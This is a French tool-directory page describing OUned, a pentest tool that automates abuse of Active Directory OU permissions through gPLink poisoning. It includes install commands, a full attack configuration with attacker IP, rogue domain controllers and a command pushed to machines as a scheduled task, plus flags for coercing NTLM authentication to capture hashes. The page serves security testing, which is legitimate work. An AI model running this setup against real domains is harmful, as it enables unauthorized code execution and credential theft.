Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
OUned — Le projet OUned automatisant l'exploitation des ACL des unités organisationnelles Active Directory via l'empoisonnement de gPLink. | Kitploit
Outils/GitHubGitHub/synacktiv/ouned
Escalade de PrivilègesExploitationMouvement LatéralTests d'IntrusionAuthentificationMauvaise Configuration
GitHubsynacktiv/ouned

OUned

Le projet OUned automatisant l'exploitation des ACL des unités organisationnelles Active Directory via l'empoisonnement de gPLink.

Voir le dépôt
16114il y a 9 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

OUned

Le projet OUned, un outil d'exploitation automatisant l'abus des ACL d'unités d'organisation via la manipulation de gPLink.

Pour une explication détaillée du principe derrière l'attaque, de la configuration nécessaire ainsi que de l'utilisation de l'outil, vous pouvez vous référer à l'article associé : https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory

Installation

L'installation peut être réalisée en clonant le dépôt et en installant les dépendances :

root@kitploit:~
$ git clone https://github.com/synacktiv/OUned
$ python3 -m pip install -r requirements.txt

Fichier de configuration

Les arguments d'OUned sont fournis via un fichier de configuration — un exemple de fichier est fourni dans le dépôt, config.example.ini.

Chaque entrée est décrite par un commentaire, mais pour des instructions de configuration détaillées, veuillez vous référer à l'article mentionné dans l'introduction ci-dessus.

root@kitploit:~
[GENERAL]
# Le nom du domaine cible
domain=corp.com

# Le contrôleur de domaine cible. S'il n'est pas spécifié, la valeur par défaut est le nom du domaine
#dc=192.168.123.10

# Le Distinguished Name du conteneur cible
containerDN=OU=SERVERS,DC=corp,DC=com

# Le nom d'utilisateur et le mot de passe de l'utilisateur disposant des droits d'écriture sur l'attribut gPLink du conteneur cible
username=naugustine
password=Password1

# L'adresse IP de la machine de l'attaquant sur le réseau interne
attacker_ip=192.168.123.16

# La commande qui doit être exécutée par les objets enfants. Spécifier une commande injectera une tâche planifiée immédiate
command=whoami > C:\poc.txt
# En alternative à l'option 'command', vous pouvez fournir un fichier module avec la syntaxe GroupPolicyBackdoor - voir https://github.com/synacktiv/GroupPolicyBackdoor/wiki. 'Command' et 'module' sont mutuellement exclusifs
# module=Scheduledtask_add_computer.ini

# Le type d'objets ciblés ("computer" ou "user")
target_type=computer


[LDAP]
# L'adresse IP du contrôleur de domaine factice qui agira comme serveur LDAP
ldap_ip=192.168.125.245

# Facultatif (utilisé pour les vérifications de cohérence) - le nom d'hôte du contrôleur de domaine factice
ldap_hostname=WIN-TTEBC5VH747

# Le nom d'utilisateur et le mot de passe d'un administrateur de domaine sur le contrôleur de domaine factice
ldap_username=ldapadm
ldap_password=Password1!

# L'ID du GPO (peut être vide, il doit seulement exister) sur le contrôleur de domaine factice
gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6

# Le nom et le mot de passe du compte machine sur le domaine cible qui seront utilisés pour usurper le serveur LDAP délivrant le GPC
ldap_machine_name=OUNED$
ldap_machine_password=some_very_long_random_password

[SMB]
# Le mode SMB peut être embedded ou forwarded selon le type d'objet ciblé
smb_mode=embedded

# Le nom du partage SMB. Peut être n'importe quoi pour le mode embedded, doit correspondre à un partage existant sur le contrôleur de domaine factice SMB pour le mode forwarded
share_name=synacktiv

# L'adresse IP du contrôleur de domaine factice qui agira comme serveur SMB. Utile uniquement en mode forwarded
#smb_ip=192.168.126.206

# Le nom d'utilisateur et le mot de passe d'un utilisateur ayant un accès en écriture au partage sur le contrôleur de domaine factice SMB. Utile uniquement en mode forwarded
#smb_username=smbadm
#smb_password=Password1!

# Le nom et le mot de passe du compte machine sur le domaine cible qui seront utilisés pour usurper le serveur SMB délivrant le GPT. Utile uniquement en mode forwarded
#smb_machine_name=OUNED2$
#smb_machine_password=some_very_long_random_password

Utilisation d'OUned

Le seul argument obligatoire lors de l'exécution d'OUned est le drapeau --config indiquant le chemin vers le fichier de configuration.

Les drapeaux --just-coerce et coerce-to sont utilisés pour le mode de coercition d'authentification SMB, dans lequel OUned forcera l'authentification SMB des objets enfants de l'OU vers la destination spécifiée - pour plus de détails, voir l'article lié dans l'introduction.

Concernant le drapeau --just-clean, voir la section suivante.

root@kitploit:~
python3 OUned.py --help
                                                                                                                                                                                    
 Usage: OUned.py [OPTIONS]                                                                                                                                                          
                                                                                                                                                                                    
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --config               TEXT  The configuration file for OUned [default: None] [required]                                                                                      │
│    --skip-checks                Do not perform the various checks related to the exploitation setup                                                                              │
│    --just-coerce                Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is           │
│                                 specified, to a local SMB server that will print their NetNTLMv2 hashes                                                                          │
│    --coerce-to            TEXT  Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address [default: None]                   │
│    --just-clean                 This flag indicates that OUned should only perform cleaning actions from specified cleaning-file                                                 │
│    --cleaning-file        TEXT  The path to the cleaning file in case the --just-clean flag is used [default: None]                                                              │
│    --verbose                    Enable verbose output                                                                                                                            │
│    --help                       Show this message and exit.                                                                                                                      │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

À propos du nettoyage

Par défaut et comme expliqué dans l'article, OUned effectuera des actions de nettoyage et, entre autres, restaurera la valeur originale de gPLink dans le domaine cible. Dans le cas où l'exploit ne pourrait pas se terminer correctement, OUned crée un fichier de nettoyage à chaque exécution de l'exploit, qui peut être utilisé ultérieurement pour restaurer les valeurs légitimes en utilisant le drapeau --just-clean ; par exemple :

root@kitploit:~
$ python3 OUned.py --config config.example.ini --just-clean --cleaning-file cleaning/FINANCE/2024_04_14-05_02_46.txt
Télécharger l’outil